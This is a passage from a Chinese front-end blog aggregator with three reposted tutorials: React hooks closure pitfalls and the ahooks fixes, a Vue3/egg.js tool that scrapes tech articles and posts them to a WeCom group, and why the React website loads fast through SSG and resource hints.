import React, { useState, useEffect } from "react";

export default () => {
  const [count, setCount] = useState(0);

  useEffect(() => {
    setInterval(() => {
      console.log("setInterval:", count);
    }, 1000);
  }, []);

  return (
    <div>
      count: {count}
      <br />
      <button onClick={() => setCount((val) => val + 1)}>增加 1</button>
    </div>
  );
};

当我点击按钮的时候，发现 setInterval 中打印出来的值并没有发生变化，始终都是 0。这就是 React 的闭包问题。


产生的原因

为了维护 Function Component 的 state，React 用链表的方式来存储 Function Component 里面的 hooks，并为每一个 hooks 创建了一个对象。

type Hook = {
  memoizedState: any,
  baseState: any,
  baseUpdate: Update<any, any> | null,
  queue: UpdateQueue<any, any> | null,
  next: Hook | null,
};

这个对象的 memoizedState 属性就是用来存储组件上一次更新后的 state，next 指向下一个 hook 对象。在组件更新的过程中，hooks 函数执行的顺序是不变的，就可以根据这个链表拿到当前 hooks 对应的 Hook 对象，函数式组件就是这样拥有了state的能力。

同时制定了一系列的规则，比如不能将 hooks 写入到 if...else... 中。从而保证能够正确拿到相应 hook 的 state。

useEffect 接收了两个参数，一个回调函数和一个数组。数组里面就是 useEffect 的依赖，当为 [] 的时候，回调函数只会在组件第一次渲染的时候执行一次。如果有依赖其他项，react 会判断其依赖是否改变，如果改变了就会执行回调函数。

回到刚刚那个例子:

const [count, setCount] = useState(0);

useEffect(() => {
  setInterval(() => {
    console.log("setInterval:", count);
  }, 1000);
}, []);

它第一次执行的时候，执行 useState，count 为 0。执行 useEffect，执行其回调中的逻辑，启动定时器，每隔 1s 输出 setInterval: 0。

当我点击按钮使 count 增加 1 的时候，整个函数式组件重新渲染，这个时候前一个执行的链表已经存在了。useState 将 Hook 对象 上保存的状态置为 1， 那么此时 count 也为 1 了。但是执行 useEffect，其依赖项为空，不执行回调函数。但是之前的回调函数还是在的，它还是会每隔 1s 执行 console.log("setInterval:", count);，但这里的 count 是之前第一次执行时候的 count 值，因为在定时器的回调函数里面被引用了，形成了闭包一直被保存。

解决的方法

解决方法一：给 useEffect 设置依赖项，重新执行函数，设置新的定时器，拿到最新值。

// 解决方法一
useEffect(() => {
  if (timer.current) {
    clearInterval(timer.current);
  }
  timer.current = setInterval(() => {
    console.log("setInterval:", count);
  }, 1000);
}, [count]);

解决方法二：使用 useRef。
useRef 返回一个可变的 ref 对象，其 .current 属性被初始化为传入的参数（initialValue）。

useRef 创建的是一个普通 Javascript 对象，而且会在每次渲染时返回同一个 ref 对象，当我们变化它的 current 属性的时候，对象的引用都是同一个，所以定时器中能够读到最新的值。

const lastCount = useRef(count);

// 解决方法二
useEffect(() => {
  setInterval(() => {
    console.log("setInterval:", lastCount.current);
  }, 1000);
}, []);

return (
  <div>
    count: {count}
    <br />
    <button
      onClick={() => {
        setCount((val) => val + 1);
        // +1
        lastCount.current += 1;
      }}
    >
      增加 1
    </button>
  </div>
);

useRef => useLatest

终于回到我们 ahooks 主题，基于上述的第二种解决方案，useLatest 这个 hook 随之诞生。它返回当前最新值的 Hook，可以避免闭包问题。实现原理很简单，只有短短的十行代码，就是使用 useRef 包一层：

import { useRef } from 'react';
// 通过 useRef，保持每次获取到的都是最新的值
function useLatest<T>(value: T) {
  const ref = useRef(value);
  ref.current = value;

  return ref;
}

export default useLatest;

useEvent => useMemoizedFn

React 中另一个场景，是基于 useCallback 的。

const [count, setCount] = useState(0);

const callbackFn = useCallback(() => {
  console.log(`Current count is ${count}`);
}, []);

以上不管，我们的 count 的值变化成多少，执行 callbackFn 打印出来的 count 的值始终都是 0。这个是因为回调函数被 useCallback 缓存，形成闭包，从而形成闭包陷阱。

那我们怎么解决这个问题呢？官方提出了 useEvent。它解决的问题：如何同时保持函数引用不变与访问到最新状态。使用它之后，上面的例子就变成了。

const callbackFn = useEvent(() => {
  console.log(`Current count is ${count}`);
});

在这里我们不细看这个特性，实际上，在 ahooks 中已经实现了类似的功能，那就是 useMemoizedFn。

useMemoizedFn 是持久化 function 的 Hook，理论上，可以使用 useMemoizedFn 完全代替 useCallback。使用 useMemoizedFn，可以省略第二个参数 deps，同时保证函数地址永远不会变化。以上的问题，通过以下的方式就能轻松解决：

const memoizedFn = useMemoizedFn(() => {
  console.log(`Current count is ${count}`);
});

我们来看下它的源码，可以看到其还是通过 useRef 保持 function 引用地址不变，并且每次执行都可以拿到最新的 state 值。

function useMemoizedFn<T extends noop>(fn: T) {
  // 通过 useRef 保持其引用地址不变，并且值能够保持值最新
  const fnRef = useRef<T>(fn);
  fnRef.current = useMemo(() => fn, [fn]);
  // 通过 useRef 保持其引用地址不变，并且值能够保持值最新
  const memoizedFn = useRef<PickFunction<T>>();
  if (!memoizedFn.current) {
    // 返回的持久化函数，调用该函数的时候，调用原始的函数
    memoizedFn.current = function (this, ...args) {
      return fnRef.current.apply(this, args);
    };
  }

  return memoizedFn.current as T;
}

总结与思考

React 自从引入 hooks，虽然解决了 class 组件的一些弊端，比如逻辑复用需要通过高阶组件层层嵌套等。但是也引入了一些问题，比如闭包问题。

这个是 React 的 Function Component State 管理导致的，有时候会让开发者产生疑惑。开发者可以通过添加依赖或者使用 useRef 的方式进行避免。

ahooks 也意识到了这个问题，通过 useLatest 保证获取到最新的值和 useMemoizedFn 持久化 function 的方式，避免类似的闭包陷阱。

值得一提的是 useMemoizedFn 是 ahooks 输出函数的标准，所有的输出函数都使用 useMemoizedFn 包一层。另外输入函数都使用 useRef 做一次记录，以保证在任何地方都能访问到最新的函数。

原文：https://segmentfault.com/a/1190000042299974



收起阅读 »
马师傅 发表于 : 2022-08-12 09:30 评论 (0) 分享

我用vue3和egg开发了一个早报学习平台，带领群友走向技术大佬

web
该项目的出发点是获取最新最值得推荐的文章以及面经，供群友们学习使用。带领前端阳光的群友们一起成为技术大佬。当点击掘金的时候，就会获取掘金当前推荐的前端文章当点击牛客网的时候，就会获取到最新的前端面经点击【查看】就会跳到文章详情页勾选后点击确认，就会把文章标题拼...
继续阅读 »

项目功能介绍

该项目的出发点是获取最新最值得推荐的文章以及面经，供群友们学习使用。带领前端阳光的群友们一起成为技术大佬。


当点击掘金的时候，就会获取掘金当前推荐的前端文章


当点击牛客网的时候，就会获取到最新的前端面经


点击【查看】就会跳到文章详情页


勾选后点击确认，就会把文章标题拼接到右边的输入框中，然后点击发送，就会将信息发送到学习群里供大家阅读。


项目启动：分别进入server和client项目，执行npm i安装相关依赖，然后启动即可。

技术栈介绍

本项目采用的是前后端分离方案

前端使用：vue3 + ts + antd

后端使用：egg.js + puppeter

前端实现

创建项目

使用vue-cli 创建vue3的项目。


按需引入antd组件

借助babel-plugin-import实现按需引入

npm install babel-plugin-import --dev

然后创建配置.babelrc文件就可以了。

{
  "plugins": [
    ["import", { "libraryName": "ant-design-vue", "libraryDirectory": "es", "style": "css" }] // `style: true` 会加载 less 文件
  ]
}

我们可以把需要引入的组件统一写在一个文件里

antd.ts

import {
  Button,
  Row,
  Col,
  Input,
  Form,
  Checkbox,
  Card,
  Spin,
  Modal,
} from "ant-design-vue";

const FormItem = Form.Item;

export default [
  Button,
  Row,
  Col,
  Input,
  Form,
  FormItem,
  Checkbox,
  Card,
  Spin,
  Modal,
];

然后在入口文件里面use应用它们 main.js

import { createApp } from "vue";
import App from "./App.vue";
import antdCompArr from "@/antd";

const app = createApp(App);
antdCompArr.forEach((comp) => {
  app.use(comp);
});

app.mount("#app");

首页

其实就一个页面，所以，直接写在App.vue了

布局比较简单，直接亮html

<template>
  <div class="pape-wrap">
    <a-row :gutter="16">
      <a-col :span="16">
        <a-card
          v-for="group in paperList"
          :key="group.name"
          class="box-card"
          shadow="always"
        >
          <div class="clearfix">
            <span>{{ group.name }}span>
          div>
          <div class="channels">
            <a-button
              :style="{ 'margin-top': '10px', 'margin-left': '10px' }"
              size="large"
              v-for="item in group.list"
              :key="item.href"
              class="btn-channel"
              @click="onClick(item)"
            >
              {{ item.name }}
            a-button>
          div>
        a-card>
      a-col>
      <a-col :span="8">
        <a-form>
          <a-form-item
            :laba-col="{ span: 24 }"
            label="支持markdown输入"
            label-align="left"
          >
            <a-textarea
              v-model:value="content"
              placeholder="暂支持mardown语法"
              show-count
            />
          a-form-item>
          <a-form-item>
            <a-button @click="handleSendMsg"> 发消息 a-button>
          a-form-item>
        a-form>
      a-col>
    a-row>

    <a-modal
      v-model:visible="visible"
      custom-class="post-modal"
      title="文章列表"
      @ok="handleComfirm"
    >
      <a-spin tip="Loading..." :spinning="isLoading">
        <div class="post-list">
          <div :style="{ borderBottom: '1px solid #E9E9E9' }">
            <a-checkbox
              v-model="checkAll"
              :indeterminate="indeterminate"
              @change="handleCheckAll"
              >全选a-checkbox
            >
          div>
          <br />
          <a-checkbox-group v-model:value="checkedList">
            <a-checkbox
              :value="item.value"
              v-for="item in checkoptions"
              :key="item.value"
            >
              {{ item.label }}
              <a
                class="a-button--text"
                style="font-size: 14px"
                target="_blank"
                :href="item.value"
                @click.stop
              >
                   查看a
              >
            a-checkbox>
          a-checkbox-group>
        div>
      a-spin>

      <span>
        <a-button @click="handleComfirm">确认a-button>
      span>
    a-modal>
  div>
template>

主要就是遍历了paperList，而paperList的值是前端写死的。在constant文件里

export const channels = [
  {
    name: "前端",
    list: [
      {
        name: "掘金",
        bizType: "juejin",
        url: "https://juejin.cn/frontend",
      },
      {
        name: "segmentfault",
        bizType: "segmentfault",
        url: "https://segmentfault.com/channel/frontend",
      },
      {
        name: "Chrome V8 源码",
        bizType: "zhihu",
        url: "https://zhuanlan.zhihu.com/v8core",
      },
      {
        name: "github-Sunny-Lucky前端",
        bizType: "githubIssues",
        url: "https://github.com/Sunny-lucking/blog/issues",
      },
    ],
  },
  {
    name: "Node",
    list: [
      {
        name: "掘金-后端",
        bizType: "juejin",
        url: "https://juejin.cn/frontend/Node.js",
      },
    ],
  },
  {
    name: "面经",
    list: [
      {
        name: "牛客网",
        bizType: "newcoder",
        url: "https://www.nowcoder.com/discuss/experience?tagId=644",
      },
    ],
  },
];


点击按钮的时候，出现弹窗，然后向后端发起请求，获取相应的文章。

点击方法如下：

const onClick = async (item: any) => {
  visible.value = true;
  currentChannel.value = item.url;
  if (cache[currentChannel.value]?.list.length > 0) {
    const list = cache[currentChannel.value].list;
    state.checkedList = cache[currentChannel.value].checkedList || [];
    state.postList = list;
    return list;
  }
  isLoading.value = true;
  state.postList = [];
  const { data } = await getPostList({
    link: item.url,
    bizType: item.bizType,
  });
  if (data.success) {
    isLoading.value = false;
    const list = data.data || [];
    state.postList = list;
    cache[currentChannel.value] = {};
    cache[currentChannel.value].list = list;
  } else {
    message.error("加载失败!");
  }
};

获得文章渲染之后，勾选所选项之后，点击确认，会将所勾选的内容拼接到content里

const updateContent = () => {
  const date = moment().format("YYYY/MM/DD");
  // eslint-disable-next-line no-useless-escape
  const header = `前端早报-${date}，欢迎大家阅读。\n>`;
  const tail = `本服务由**前端阳光**提供技术支持`;
  const body = state.preList
    .map((item, index) => `#### ${index + 1}. ${item}`)
    .join("\n");
  state.content = `${header}***\n${body}\n***\n${tail}`;
};

const handleComfirm = () => {
  visible.value = false;
  const selectedPosts = state.postList.filter((item: any) =>
    state.checkedList.includes(item.href as never)
  );
  const selectedList = selectedPosts.map((item, index) => {
    return `[${item.title.trim()}](${item.href})`;
  });
  state.preList = [...new Set([...state.preList, ...selectedList])];
  updateContent();
};

然后点击发送，就可以将拼接的内容发送给后端了，后端拿到后再转发给企业微信群

const handleSendMsg = async () => {

  const params = {

    content: state.content,

  };

  await sendMsg(params);

  message.success("发送成功!");

};

前端的内容就讲到这里，大家可以直接去看源码：github.com/Sunny-lucki…

后端实现

创建项目

后端是使用egg框架实现的

快速生成项目

npm init egg

可以直接看看morningController的业务逻辑，其实主要实现了两个方法，一个是获取文章列表页返回给前端，一个是发送消息。

export default class MorningPaper extends Controller {

  public async index() {

    const link = this.ctx.query.link;

    const bizType = this.ctx.query.bizType;

    let html = '';

    if (!link) {

      this.fail({

        msg: '入参校验不通过',

      });

      return;

    }

    const htmlResult = await this.service.puppeteer.page.getHtml(link);

    if (htmlResult.status === false) {

      this.fail({

        msg: '爬取html失败，请稍后重试或者调整超时时间',

      });

      return;

    }

    html = htmlResult.data as string;

    const links = this.service.morningPaper.index.formatHtmlByBizType(bizType, html) || [];

    this.success({

      data: links.filter(item => !item.title.match('招聘')),

    });

    return;

  }



  /**

   * 推送微信机器人消息

   */

  async sendMsg2Weixin() {

    const content = this.ctx.query.content;

    if (!content) {

      this.fail({

        resultObj: {

          msg: '入参数据异常',

        },

      });

      return;

    }

    const token = this.service.morningPaper.index.getBizTypeBoken();

    const status = await this.service.sendMsg.weixin.index(token, content);

    if (status) {

      this.success({

        resultObj: {

          msg: '发送成功',

        },

      });

      return;

    }



    this.fail({

      resultObj: {

        msg: '发送失败',

      },

    });

    return;

  }

}

文章的获取

先看看文章是怎么获取的。

首先是调用了puppeter.page的getHtml方法

该方法是利用puppeter生成一个模拟的浏览器，然后模拟浏览器去浏览页面的逻辑。

 public async getHtml(link) {

    const browser = await puppeteer.launch(this.launch);

    const page: any = await browser.newPage();

    await page.setViewport(this.viewport);

    await page.setUserAgent(this.userAgent);

    await page.goto(link);

    await waitTillHTMLRendered(page);

    const html = await page.evaluate(() => {

      return document?.querySelector('html')?.outerHTML;

    });

    await browser.close();

    return {

      status: true,

      data: html,

    };

  }

这里需要注意的是，需要await waitTillHTMLRendered(page);，它的作用是检查页面是否已经加载完毕。

因为，进入页面，page.evaluate的返回可能是页面还在加载列表当中，所以需要waitTillHTMLRendered判断当前页面的列表是否加载完毕。

看看这个方法的实现：每隔一秒钟就判断页面的长度是否发生了变化，如果三秒内没有发生变化，默认页面已经加载完毕

const waitTillHTMLRendered = async (page, timeout = 30000) => {
  const checkDurationMsecs = 1000;
  const maxChecks = timeout / checkDurationMsecs;
  let lastHTMLSize = 0;
  let checkCounts = 1;
  let countStableSizeIterations = 0;
  const minStableSizeIterations = 3;

  while (checkCounts++ <= maxChecks) {
    const html = await page.content();
    const currentHTMLSize = html.length;

    // eslint-disable-next-line no-loop-func
    const bodyHTMLSize = await page.evaluate(() => document.body.innerHTML.length);

    console.log('last: ', lastHTMLSize, ' <> curr: ', currentHTMLSize, ' body html size: ', bodyHTMLSize);

    if (lastHTMLSize !== 0 && currentHTMLSize === lastHTMLSize) { countStableSizeIterations++; } else { countStableSizeIterations = 0; } // reset the counter

    if (countStableSizeIterations >= minStableSizeIterations) {
      console.log('Page rendered fully..');
      break;
    }

    lastHTMLSize = currentHTMLSize;
    await page.waitForTimeout(checkDurationMsecs);
  }
};

分析html，获取文章列表

上述的行为只会获取了那个页面的整个html，接下来需要分析html，然后获取文章列表。

html的分析其实 是用到了cheerio，cheerio的用法和jQuery一样，只不过它是在node端使用的。

已获取掘金文章列表为例子：可以看到是非常简单地就获取到了文章列表，接下来只要返回给前端就可以了。

  getHtmlContent($): Link[] {
    const articles: Link[] = [];
    $('.entry-list .entry').each((index, ele) => {
      const title = $(ele).find('a.title').text()
        .trim();
      const href = $(ele).find('a.title').attr('href');
      if (title && href) {
        articles.push({
          title,
          href: this.DOMAIN + href,
          index,
        });
      }
    });
    return articles;
  }

发送信息到企业微信群

这个业务逻辑主要有两步，

首先要获取我们企业微信群的机器人的token，

接下来就将token 拼接成下面这样一个url

`https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=${token}`

然后利用egg 的curl方法发送信息就可以了

export default class Index extends BaseService {
  public async index(token, content): Promise<boolean> {
    const url = `https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=${token}`;
    const data = {
      msgtype: 'markdown',
      markdown: {
        content,
      },
    };
    const result: any = await this.app.curl(url, {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json',
      },
      data,
    });
    if (result.status !== 200) {
      return false;
    }
    return true;
  }
}

后端的实现大抵如此，大家可以看看源码实现：github.com/Sunny-lucki…

总结

至此，一个伟大的工程就打造完毕。

群员在我的带领下，技术突飞猛进。。。

撒花撒花。。

作者：阳光是sunny
来源：juejin.cn/post/7129692007584235551

收起阅读 »
上帝之眼 发表于 : 2022-08-11 09:45 评论 (0) 分享

React 官网为什么那么快？

web
当我们打开 React 官网时，会发现从浏览器上输入url 到页面首屏完全展示这一过程所花的时间极短，而且在页面中点击链接切换路由的操作非常顺滑，几乎页面可以达到“秒切”的效果，根本不会有卡顿等待的情况发生，于是带着“react官网到底是怎么做的”疑问开始了本...
继续阅读 »

当我们打开 React 官网时，会发现从浏览器上输入url 到页面首屏完全展示这一过程所花的时间极短，而且在页面中点击链接切换路由的操作非常顺滑，几乎页面可以达到“秒切”的效果，根本不会有卡顿等待的情况发生，于是带着“react官网到底是怎么做的”疑问开始了本次探索，发现其主要用了以下的优化手段


静态站点生成 SSG


下面是react官方中文文档首页的截图，大家注意下方的红色区域，后面会作为推断的一个理由



当我们打开控制台之后，点击network并选择 DOC文档请求，就会发现有一个请求路径为https://zh-hans.reactjs.org/ 的GET请求，响应结果为一个 html文档，里面刚好能找到对应上图中红色区域文字的文本，这也就佐证了这个html文档所对应的页面就是react官网首页，而这种渲染页面的方式只有两种，一种是服务端渲染 SSR，还有一种是静态站点生成 SSG



很多人总是分不清客户端渲染CSR、服务端渲染SSR还有静态站点生成SSG，下面我们简单介绍一下它们各自的特点，看完之后相信你就能清晰的感受到它们的区别所在了


页面的渲染流程


在开始之前，我们先来回顾一下页面最基本的渲染流程是怎么样的？



  • 浏览器通过请求得到一个 HTML文本

  • 渲染进程解析 HTML 文本，构建 DOM 树

  • 浏览器解析 HTML 的同时，如果遇到内联样式或者样本样式，则下载并构建样式规则（stytle rules）。若遇到 Javascript 脚本，则会下载并执行脚本

  • DOM 树和样式规则构建完成之后，渲染进程将两者合并成渲染树（render tree）

  • 渲染进程开始对渲染树进行布局，生成布局树（layout tree）

  • 渲染进程对布局树进行绘制，生成绘制记录

  • 渲染进程对布局树进行分层，分别栅格化每一层并得到合成帧

  • 渲染进程将合成帧发送给 GPU 进程将图像绘制到页面中



可以看到，页面的渲染其实就是浏览器将HTML文本转化为页面帧的过程，下面我们再来看看刚刚提到的技术：


客户端渲染 CSR


如今我们大部分 WEB 应用都是使用 JavaScript 框架（Vue、React、Angular）进行页面渲染的，页面中的大部分DOM元素都是通过Javascript插入的。也就是说，在执行 JavaScript 脚本之前，HTML 页面已经开始解析并且构建 DOM 树了，JavaScript 脚本只是动态的改变 DOM 树的结构，使得页面成为希望成为的样子，这种渲染方式叫动态渲染，也就是平时我们所称的客户端渲染 CSR（client side render）


下面代码为浏览器请求 react 编写的单页面应用网页时响应回的HTML文档，其实它只是一个空壳，里面并没有具体的文本内容，需要执行 JavaScript 脚本之后才会渲染我们真正想要的页面


<!doctype html>

<html lang="en">



<head>

  <meta charset="utf-8" />

  <link rel="icon" href="/favicon.ico" />

  <meta name="viewport" content="width=device-width,initial-scale=1" />

  <meta name="theme-color" content="#000000" />

  <meta name="description" content="Web site created using create-react-app" />

  <link rel="apple-touch-icon" href="/logo192.png" />

  <link rel="manifest" href="/manifest.json" />

  <title>Jira任务管理系统</title>

  <script

    type="text/javascript">!function (n) { if ("/" === n.search[1]) { var a = n.search.slice(1).split("&").map((function (n) { return n.replace(/~and~/g, "&") })).join("?"); window.history.replaceState(null, null, n.pathname.slice(0, -1) + a + n.hash) } }(window.location)</script>

  <link href="/static/css/2.4ddacf8e.chunk.css" rel="stylesheet">

  <link href="/static/css/main.cecc54dc.chunk.css" rel="stylesheet">

</head>



<body><noscript>You need to enable JavaScript to run this app.</noscript>

  <div id="root"></div>

  <script>!function (e) { function r(r) { for (var n, a, i = r[0], c = r[1], f = r[2], s = 0, p = []; s < i.length; s++)a = i[s], Object.prototype.hasOwnProperty.call(o, a) && o[a] && p.push(o[a][0]), o[a] = 0; for (n in c) Object.prototype.hasOwnProperty.call(c, n) && (e[n] = c[n]); for (l && l(r); p.length;)p.shift()(); return u.push.apply(u, f || []), t() } function t() { for (var e, r = 0; r < u.length; r++) { for (var t = u[r], n = !0, i = 1; i < t.length; i++) { var c = t[i]; 0 !== o[c] && (n = !1) } n && (u.splice(r--, 1), e = a(a.s = t[0])) } return e } var n = {}, o = { 1: 0 }, u = []; function a(r) { if (n[r]) return n[r].exports; var t = n[r] = { i: r, l: !1, exports: {} }; return e[r].call(t.exports, t, t.exports, a), t.l = !0, t.exports } a.e = function (e) { var r = [], t = o[e]; if (0 !== t) if (t) r.push(t[2]); else { var n = new Promise((function (r, n) { t = o[e] = [r, n] })); r.push(t[2] = n); var u, i = document.createElement("script"); i.charset = "utf-8", i.timeout = 120, a.nc && i.setAttribute("nonce", a.nc), i.src = function (e) { return a.p + "static/js/" + ({}[e] || e) + "." + { 3: "20af26c9", 4: "b947f395", 5: "ced9b269", 6: "5785ecf8" }[e] + ".chunk.js" }(e); var c = new Error; u = function (r) { i.onerror = i.onload = null, clearTimeout(f); var t = o[e]; if (0 !== t) { if (t) { var n = r && ("load" === r.type ? "missing" : r.type), u = r && r.target && r.target.src; c.message = "Loading chunk " + e + " failed.\n(" + n + ": " + u + ")", c.name = "ChunkLoadError", c.type = n, c.request = u, t[1](c) } o[e] = void 0 } }; var f = setTimeout((function () { u({ type: "timeout", target: i }) }), 12e4); i.onerror = i.onload = u, document.head.appendChild(i) } return Promise.all(r) }, a.m = e, a.c = n, a.d = function (e, r, t) { a.o(e, r) || Object.defineProperty(e, r, { enumerable: !0, get: t }) }, a.r = function (e) { "undefined" != typeof Symbol && Symbol.toStringTag && Object.defineProperty(e, Symbol.toStringTag, { value: "Module" }), Object.defineProperty(e, "__esModule", { value: !0 }) }, a.t = function (e, r) { if (1 & r && (e = a(e)), 8 & r) return e; if (4 & r && "object" == typeof e && e && e.__esModule) return e; var t = Object.create(null); if (a.r(t), Object.defineProperty(t, "default", { enumerable: !0, value: e }), 2 & r && "string" != typeof e) for (var n in e) a.d(t, n, function (r) { return e[r] }.bind(null, n)); return t }, a.n = function (e) { var r = e && e.__esModule ? function () { return e.default } : function () { return e }; return a.d(r, "a", r), r }, a.o = function (e, r) { return Object.prototype.hasOwnProperty.call(e, r) }, a.p = "/", a.oe = function (e) { throw console.error(e), e }; var i = this.webpackJsonpjira = this.webpackJsonpjira || [], c = i.push.bind(i); i.push = r, i = i.slice(); for (var f = 0; f < i.length; f++)r(i[f]); var l = c; t() }([])</script>

  <script src="/static/js/2.2b45c055.chunk.js"></script>

  <script src="/static/js/main.3224dcfd.chunk.js"></script>

</body>



</html>

复制代码

服务端渲染 SSR


顾名思义，服务端渲染就是在浏览器请求页面 URL 的时候，服务端将我们需要的 HTML 文本组装好，并返回给浏览器，这个 HTML 文本被浏览器解析之后，不需要经过 JavaScript 脚本的下载过程，即可直接构建出我们所希望的 DOM 树并展示到页面中。这个服务端组装HTML的过程就叫做服务端渲染 SSR


下面是服务端渲染时返回的 HTML 文档，由于代码量实在是太多，所以只保留了具有象征意义的部分代码，但不难发现，服务端渲染返回的HTML文档中具有页面的核心文本


<!DOCTYPE html>

<html lang="zh-hans">



<head>

  <link rel="preload" href="https://unpkg.com/docsearch.js@2.4.1/dist/cdn/docsearch.min.js" as="script" />

  <meta name="generator" content="Gatsby 2.24.63" />

  <style data-href="/styles.dc271aeba0722d3e3461.css">

    /*! normalize.css v8.0.1 | MIT License | github.com/necolas/normalize.css */

    html {

      line-height: 1.15;

      -webkit-text-size-adjust: 100%

    }



    /* ....many CSS style */

  </style>

</head>



<body>

  <script>

    (function () {

      /*

        BE CAREFUL!

        This code is not compiled by our transforms

        so it needs to stay compatible with older browsers.

      */



      var activeSurveyBanner = null;

      var socialBanner = null;

      var snoozeStartDate = null;

      var today = new Date();



      function addTimes(date, days) {

        var time = new Date(date);

        time.setDate(time.getDate() + days);

        return time;

      }

      // ...many js code

    })();

  </script>

  <div id="___gatsby">

    <!-- ...many html dom -->

    <div class="css-1vcfx3l">

      <h3 class="css-1qu2cfp">一次学习，跨平台编写</h3>

      <div>

        <p>无论你现在使用什么技术栈，在无需重写现有代码的前提下，通过引入 React 来开发新功能。</p>

        <p>React 还可以使用 Node 进行服务器渲染，或使用 <a href="https://reactnative.dev/" target="_blank"

                                           rel="nofollow noopener noreferrer">React Native</a> 开发原生移动应用。</p>

      </div>

    </div>

     <!-- ...many html dom -->

  </div>



</body>



</html>

复制代码

静态站点生成 SSG


这也就是React官网所用到的技术，与SSR的相同之处就是对应的服务端同样是将已经组合好的HTML文档直接返回给客户端，所以客户端依旧不需要下载Javascript文件就能渲染出整个页面，那不同之处又有哪些呢？


使用了SSG技术搭建出的网站，每个页面对应的HTML文档在项目build打包构建时就已经生成好了，用户请求的时候服务端不需要再发送其它请求和进行二次组装，直接将该HTML文档响应给客户端即可，客户端与服务端之间的通信也就变得更加简单


但读到这里很容易会发现它有几个致命的弱点：



  • HTML文档既然是在项目打包时就已经生成好了，那么所有用户看到的都只能是同一个页面，就像是一个静态网站一样，这也是这项技术的关键字眼——静态

  • 每次更改内容时都需要构建和部署应用程序，所以其具有很强的局限性，不适合制作内容经常会变换的网站


但每项技术的出现都有其对应的使用场景，我们不能因为某项技术的某个缺点就否定它，也不能因为某项技术的某个优点就滥用它！
该技术还是有部分应用场景的，如果您想要搭建一个充满静态内容的网站，比如个人博客、项目使用文档等Web应用程序，使用SSG再适合不过了，使用过后我相信你一定能感受到这项技术的强大之处！


问题解答


现在我们就可以回答为什么react官网要使用SSG这项技术去做了？


因为相对于客户端渲染，服务端渲染和静态网点生成在浏览器请求URL之后得到的是一个带有数据的HTML文本，并不是一个HTML空壳。浏览器只需要解析HTML，直接构建DOM树就可以了。而客户端渲染，需要先得到一个空的HTML页面，这个时候页面已经进入白屏，之后还需要经过加载并执行 JavaScript、请求后端服务器获取数据、JavaScript 渲染页面几个过程才可以看到最后的页面。特别是在复杂应用中，由于需要加载 JavaScript 脚本，越是复杂的应用，需要加载的 JavaScript脚本就越多、越大，这会导致应用的首屏加载时间非常长，从而降低了体验感


至于SSR与SSG的选取，我们要从应用场景出发，到底是用户每次请求都在服务端重新组装一个HTML文档？还是在项目构建的时候就生成一个唯一的HTML文档呢？


React团队成员在开发官网的时候肯定早就想到了这个问题，既然是官网，那肯定没有权限之分，所有进入到该网站的人看到的内容应该是一样的才对，那每次请求都在服务端组装一个一模一样的HTML有什么意义呢？ 为什么不提前在服务端渲染好，然后发给每个人，这样N次渲染就变成了1次渲染，大大减少了客户端与服务端通信的时间，进而提升了用户体验


总结


无论是哪种渲染方式，一开始都是要请求一个 HTML 文本，但是区别就在于这个文本是否已经被服务端组装好了



  • 客户端渲染还需要去下载和执行额外的Javascript脚本之后才能得到我们想要的页面效果，所以速度会比服务端渲染慢很多

  • 服务端渲染得到的HTML文档就已经组合好了对应的文本，浏览器请求到之后直接解析渲染出来即可，不需要再去下载和执行额外的Javasript 脚本，所以速度会比客户端渲染快很多

  • 对于一些内容不经常变化的网站，我们甚至可以在服务端渲染的基础上予以改进，将每次请求服务端都渲染一次HTML文档改成总共就只渲染一次，这就是静态站点生成技术


下图是客户端渲染和服务端渲染的流程图：



一些预加载/预处理资源的方式


研究完首屏渲染之后，我们再来研究一下路由跳转后内容的切换。经常看 react 文档的朋友可能早就发现了，其路由跳转无比丝滑，感觉就像是一个静态页面一样，完全没有发送网络请求的痕迹，比如我现在处在hook 简介这一个板块，当我点击 hook 规则 目录之后



发现页面瞬间秒切了过去，内容也瞬间展现在了出来，没有一丝卡顿，用户体验直接爆炸，这到底是怎么做到的呢？



下面我们就来一点一点分析它的每个优化手段


preload



在当前页面中，你可以指定可能或很快就需要的资源在其页面生命周期的早期——浏览器的主渲染机制介入前就进行预加载，这可以让对应的资源更早的得到加载并使用，也更不易阻塞页面的初步渲染，进而提升性能



关键字 preload 作为元素 <link> 的属性 rel的值，表示用户十分有可能需要在当前浏览中加载目标资源，所以浏览器必须预先获取和缓存对应资源 。下面我们来看一个示例：


<link as="script" rel="preload" href="/webpack-runtime-732352b70a6d0733ac95.js">

复制代码

这样做的好处就是让在当前页面中可能被访问到的资源提前加载但并不阻塞页面的初步渲染，进而提升性能


下面是 react文档中对 preload关键字的使用，告诉浏览器等等可能需要这个资源，希望能够尽早下载下来



可以预加载的资源有很多，现在浏览器支持的主要有：



  • audio：音频文件，通常用于 audio 标签

  • document: 旨在由 frame 或嵌入的 HTML 文档

  • embed：要嵌入到 embed 元素中的资源

  • fetch：要通过 fetch 或 XHR 请求访问的资源，例如 ArrayBuffer 或 JSON 文件

  • font: 字体文件

  • image： 图像文件

  • object：要嵌入到 object 元素中的资源

  • script: JavaScript 文件

  • style: CSS 样式表

  • track: WebVTT 文件

  • worker：一个 JavaScript 网络工作者或共享工作者

  • video：视频文件，通常用于 video 标签



注意：使用 preload作为 link标签rel属性的属性值的话一定要记得在标签上添加 as属性，其属性值就是要预加载的内容类型



preconnect



元素属性的关键字preconnect是提示浏览器用户可能需要来自目标域名的资源，因此浏览器可以通过抢先启动与该域名的连接来改善用户体验 —— MDN



下面来看一个用法示例：


<link rel="preconnect" href="https://www.google-analytics.com">

复制代码

下面是 react官方文档中的使用：



简单来说就是提前告诉浏览器，在后面的js代码中可能会去请求这个域名下对应的资源，你可以先去把网络连接建立好，到时候发送对应请求时也就更加快速


dns-prefetch



DNS-prefetch (DNS 预获取) 是尝试在请求资源之前解析域名。这可能是后面要加载的文件，也可能是用户尝试打开的链接目标 —— MDN



那我们为什么要进行域名预解析呢？这里面其实涉及了一些网络请求的东西，下面简单介绍一下：


当浏览器从（第三方）服务器请求资源时，必须先将该跨域域名解析为 IP 地址，然后浏览器才能发出请求。此过程称为 DNS 解析。DNS 缓存可以帮助减少此延迟，而 DNS 解析可以导致请求增加明显的延迟。对于打开了与许多第三方的连接的网站，此延迟可能会大大降低加载性能。预解析域名就是为了在真正发请求的时候减少延迟，从而在一定程度上提高性能


用法示例：


